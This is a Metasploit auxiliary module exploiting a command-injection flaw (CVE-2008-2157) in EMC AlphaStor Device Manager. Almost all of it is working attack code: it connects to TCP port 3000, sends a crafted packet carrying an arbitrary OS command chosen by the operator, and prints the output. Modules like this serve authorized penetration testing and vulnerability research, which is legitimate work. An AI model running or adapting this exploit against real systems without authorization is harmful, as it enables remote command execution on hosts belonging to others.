EMC AlphaStor Device Manager Arbitrary Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC AlphaStor Device Manager Arbitrary Command Execution',
      'Description'    => %q{
          EMC AlphaStor Device Manager is prone to a remote command-injection vulnerability
          because the application fails to properly sanitize user-supplied input.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],
          [ 'OSVDB', '45715' ],
          [ 'CVE', '2008-2157' ],
          [ 'BID', '29398' ],
        ],
      'DisclosureDate' => '2008-05-27'))

      register_options(
        [
          Opt::RPORT(3000),
          OptString.new('CMD', [ false, 'The OS command to execute', 'hostname']),
        ])
  end

  def run
    connect

    data = "\x75" + datastore['CMD']
    pad  = "\x00" * 512

    pkt = data + pad

    print_status("Sending command: #{datastore['CMD']}")
    sock.put(pkt)

    # try to suck it all in.
    select(nil,nil,nil,5)

    res = sock.get_once || ''

    res.each_line do |info|
      print_status("#{info.gsub(/[^[:print:]]+/,"")}") # hack.
    end

    disconnect
  rescue ::Rex::ConnectionError => e
    print_error 'Connection failed'
  rescue ::EOFError => e
    print_error 'No reply'
  end
end